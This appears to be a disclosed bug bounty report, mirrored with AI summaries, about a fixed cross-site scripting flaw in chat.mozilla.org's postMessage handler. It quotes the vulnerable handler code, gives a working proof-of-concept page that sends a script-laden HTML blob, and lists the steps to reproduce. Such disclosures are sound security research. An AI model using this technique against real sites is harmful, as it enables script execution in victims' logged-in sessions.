XSS via postMessage in chat.mozilla.org
A page on chat.mozilla.org accepted postMessage data from an allowed origin and turned a user-supplied blob into a downloadable object URL without checking its content type. An attacker could get a logged-in user to open the crafted blob as HTML in a new tab, running script in the chat.mozilla.org origin.
Originally disclosed on Mozilla
- Fixed in 16 days
- Paid in 23 days
- Disclosed after 16 days
Description
Hi, i would like to report a XSS in chat.mozilla.org that can affect other subdomains. This XSS happen's when a user are logged in chat.mozilla.org, in https://chat.mozilla.org/usercontent/?origin=https%3a%2f%2fmydomain.com the script that is loaded wait for a postMessage action, the postMessage can be send with various inputs to the script create a img tag and a link to this image. However, the input permits that the user set a blob structure for this image link, so is possible to define a content-type to this link.
- vulnerable code
1 window.onmessage = function(e) {
2 e.origin === o && (e.data.blob ? function(e) {
3 const t = e.data
4 , n = document.createElement("img");
5 n.id = "img",
6 n.src = t.imgSrc,
7 n.style = t.imgStyle;
8 const o = document.createElement("a");
9 o.id = "a",
10 o.rel = "noreferrer noopener",
11 o.download = t.download,
12 o.style = t.style,
13 o.style.fontFamily = "Arial, Helvetica, Sans-Serif",
14 o.href = window.URL.createObjectURL(t.blob),
15 o.appendChild(n),
16 o.appendChild(document.createTextNode(t.textContent));
17 const r = document.body;
18 r.style = "margin: 0px; overflow: hidden",
19 r.appendChild(o),
20 e.data.auto && o.click()
21 }
...
In the line 2 the message retrieve a blob sended by the user (e.data.blob) and without verify the content-type, it's passed to createObjectURL in the line 14.
The unique thing that is little bit boring in this XSS is the user interaction the is needed, this users interaction is trivial because the download attribute (line 11), because of that, the user need to click with the right button of the mouse over the image and open it in another tab. So, for this i create a simple image saying "open this image in a new tab", and i passed this image via postMessage in the imgSrc attribute (line 6).
poc.html
<html>
<head>
</head>
<body>
<center>Click anywhere in the page</center>
<script>
let x;
onclick = () => {
x = open("https://chat.mozilla.org/usercontent/?origin=https%3a%2f%2f"+document.domain);
setTimeout(() => {
const payload = new Blob(["<script>alert(1337)<\/script>"], { type : "text/html" });
x.postMessage({ blob: payload, imgSrc: "https://i.imgur.com/CMq55u9.png", auto: true}, "*");
}, 2500);
}
</script>
</body>
</html>
To start the PoC you just need to click in the page, after this a new tab will be opened and you need to click with the right button in the image to open it and the XSS will be triggered.
Impact
- cookie bomb
- Session Fixation
Steps to reproduce
- Open the browser of your preference
- Make sure that you're logged in chat.mozilla.org
- Navigate to
poc.html - Click anywhere in the page
- In the new tab, click with the right button of the mouse in the image
- The XSS will be triggered
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the message handler trusted the origin check but never validated the type of the blob before creating an object URL and attaching it as a download link.
Impact
Script could run in the chat.mozilla.org origin, which the reporter says could enable a cookie bomb or session fixation; the exploit needs the victim to right-click and open the image in a new tab.
What the attacker needed
Victim logged in to chat.mozilla.org; victim clicks the attacker page; victim right-clicks image, opens new tab
How it was found
- Open a browser and make sure you are logged in to chat.mozilla.org
- Navigate to the attacker's poc.html page
- Click anywhere on the page, which opens the usercontent page and sends the postMessage
- In the new tab, right-click the image and open it in a new tab
- The script in the blob runs and the XSS triggers
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A page on the chat site listens for messages from other pages and builds a download link from whatever file data it receives. It never checks what kind of file that data is, so a malicious page can hand it an HTML file. When the victim opens that file in a new tab, the script inside runs as if it came from the chat site itself.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.